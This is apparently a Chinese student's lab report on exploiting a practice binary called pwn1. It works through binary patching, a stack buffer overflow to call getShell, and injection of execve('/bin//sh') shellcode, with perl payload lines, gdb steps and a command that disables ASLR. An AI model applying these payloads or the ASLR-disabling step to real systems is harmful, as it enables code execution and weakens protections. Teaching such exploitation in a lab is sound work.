一、实验内容
学习通过以下三种方式利用pwn1程序的漏洞执行getShell函数:
- 篡改程序流程——直接修改可执行文件,跳转至getShell;
- 栈溢出攻击——利用foo函数的缓冲区溢出漏洞,覆盖返回地址触发getShell;
- Shellcode注入——构造恶意输入注入自定义Shellcode并执行。
二、实验过程
(一)基础知识
- 基础汇编指令
- NOP(空指令):CPU不执行任何操作,直接继续下一条指令。(机器码:90)
- JNE/JE:基于比较结果跳转(机器码75/74)
- CMP:比较操作数并设置标志位,不保存结果
- JMP:(无条件跳转)
- 反汇编
反汇编是将机器码(二进制指令)转换为汇编代码的逆向过程,通过反汇编可以查看程序的底层执行逻辑和指令流程。
本次使用Linux平台的objdump工具分析pwn1可执行文件,
命令格式:objdump -d 目标文件
该命令会输出完整的汇编代码段及其内存地址信息。
本次实验使用xxd作为十六进制编辑器。
(二) 实验过程
- 直接修改程序机器指令,改变程序执行流程
先登录root账户,后修改主机名为203232313.
再通过VirtualBox的共享文件夹将pwn1文件传输到虚拟机,并修改名字为pwn20232313,如图:
运行,发现原函数功能是打印输入字段。
输入命令 objdump -d pwn20232313 | more 对文件反汇编,在其中找到main/foo以及getshell函数:
根据实验目标,需将call foo修改为call getShell,即把地址8048491替换为getShell的入口地址804847d。
Call指令的跳转原理是相对跳转,即EIP+偏移量=当前命令地址。由此知道,偏移量=当前命令地址-EIP。
在这里,getShell作为当前命令地址,计算偏移量:804847d(getShell) - 80484ba = -61,其补码表示为0xffffff3c。由于x86架构采用小端存储,实际需将机器码中的0xd7ffffff修改为0xc3ffffff,即可实现跳转至getShell函数。
我将文件先复制一份命名为"pwn2",
后使用%!xxd进入十六进制编辑器将pwn2文件中的d7改成c3,然后使用:%!xxd -r转回原来乱码格式。
再使用命令objdump -d pwn2| more查看修改结果如下所示,修改成功。
查看pwn2运行结果如下图,说明getshell函数已实现。
- 通过构造输入参数,造成BOF攻击,改变程序执行流
复制新文件命名为pwn3。
当程序调用函数 foo 时,会在栈上创建自己的栈帧。由于 foo 函数使用了一个只预留28(0x1c)字节的缓冲区来读取字符串,因此存在缓冲区溢出(Bof)漏洞。
我们可以通过向该缓冲区输入超出其容量的字符串,覆盖栈上的返回地址,从而将其篡改为 getShell 函数的地址,实现攻击目的。根据反汇编结果,正常情况下,call foo指令会将返回地址0x80484ba压入栈中,而我们的目标就是覆盖这个值,使其指向 getshell 函数的入口地址。
使用 gdb pwn3 调试程序,输入测试字符串 1111111122222222333333334444444412345678,然后执行 info r查看寄存器状态,发现 EIP(存储下一条指令地址的寄存器)被覆盖为 0x34333231(即字符串 "1234" 的 ASCII 码)。
通过反汇编已知 getShell 函数的入口地址为 0x0804847d。因此,只需将字符串末尾的 "1234" 替换为该地址的字节表示(小端序),即可让程序在返回时跳转至 getShell,从而达成攻击目的。为了利用缓冲区溢出漏洞,我们需要将返回地址覆盖为getShell函数的地址0x0804847d。
具体操作是构造一个特定格式的输入字符串:
首先准备字符串"11111111222222223333333344444444"来填满缓冲区,然后追加目标地址的小端序表示"\x7d\x84\x04\x08"。可以使用以下命令生成包含这个字符串的文件:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
其中\x0a表示换行符。生成后可以用xxd input
命令检查文件内容是否正确,确认地址字节是否按小端序正确排列。最后通过命令(cat input; cat) | ./pwn3
将构造的输入传递给目标程序。这个命令会先发送input文件中的payload,然后保持标准输入打开以便交互。当程序执行返回时,就会跳转到我们指定的getShell函数地址,从而达成攻击目的。
结果如图所示,成功执行getshell获取了shell。
- 注入Shellcode并执行
先做如下准备工作:
复制一份新的pwn20232313文件,命名为pwn4。
readelf -l pwn4 | grep -A1 GNU_STACK
验证pwn4文件的栈可被执行。
more /proc/sys/kernel/randomize_va_space
//查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space
//关闭地址随机化
Linux系统中,构造攻击缓冲区(buf)主要有两种基本方法:
retaddr + nop + shellcode
nop + shellcode + retaddr
以下是构造包含shellcode的输入示例(x1x2x3x4为占位符,后续需替换为foo函数中return address的实际地址,该地址需通过gdb分析确定):
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
将构造的输入传递给目标程序pwn4:
(cat input_shellcode; cat) | ./pwn4
建立新终端,输入ps -ef | grep pwn4
,查看pwn4文件的进程以及进程号如下:
可以看到,./pwn4 的进程号为 113151。
接下来在新终端中使用 gdb 进行调试:
启动 gdb 并附加到目标进程: gdb pwn4 attach 113151
反编译 foo 函数并分析返回地址位置: disassemble foo
通过反编译结果可定位 foo 函数中 return address 的具体内存地址,用于后续替换x1x2x3x4占位符。
通过反汇编分析确定 foo 函数的返回地址为 0x080484ae。在 gdb 中设置断点:break *0x080484ae
在新终端输入 c 继续执行程序,此时必须在原始终端按 Enter 键,否则新终端的 continue 会持续等待。通过断点验证返回地址是否被成功覆盖为 getShell 的地址(\x7d\x84\x04\x08),并观察程序跳转流程。
通过info r esp
命令查看栈顶指针位置,显示当前ESP值为0xffffcfec。使用x/16x 0xffffcfec
查看该地址内存内容时,可以看到注入的输入数据0x04030201(即占位符 \x01\x02\x03\x04 的内存表示,说明目标地址正确。后续将占位符替换为getShell的实际地址 0x0804847d(小端序为\x7d\x84\x04\x08)以完成攻击。
输入info r esp查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffcfec。使用x/16x 0xffffcfec命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x04030201,说明找的就是这个地址。
通过计算,shellcode 的注入地址应为栈顶指针地址0xffffcfec加上 4 字节,即 0xffffcff0。将该地址以小端序格式(\xf0\xcf\xff\xff)替换原占位符 \x01\x02\x03\x04,构造最终的注入字符串:
perl -e 'print "A" x 32;print "\xf0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
将构造的输入传递给目标程序:(cat input_shellcode; cat) | ./pwn4
执行 ls 命令后成功显示当前目录文件,确认已通过覆盖返回地址调用 getShell 函数,完成攻击。
三、问题及解决方案
- 问题1:下载不了execstack
- 问题1解决方案:
选择使用readelf -l pwn4 | grep -A1 GNU_STACK
验证pwn4文件的栈可被执行。好像结果差别不大? - 问题2:gdb输入c命令后卡住
- 问题2解决方案:
当gdb输入c命令后程序卡住时,需要在运行pwn的原始终端窗口按回车键,这样程序才能继续执行,gdb才能进行后续分析,否则会一直处于等待状态。
四、学习感悟等
首先,我认识到机器指令是小端存储、补码表示。
这次实验我完成了三个任务,分别是直接修改程序机器指令、构造输入参数造成BOF攻击、注入Shellcode。
直接修改程序机器指令让我对x86的Call指令运行方式有了更多的了解,知道了EIP压栈与相对跳转偏移量的工作方式。
输入参数造成BOF攻击则让我明白了如何判断函数是否存在BOF漏洞,以及如何完成简单的BOF攻击。
Shellcode注入我认为是最难的,需要新理解的东西也是最多的,学习过后也是平稳完成了实验。
参考资料
- 《0x11_MAL_逆向与Bof基础.md》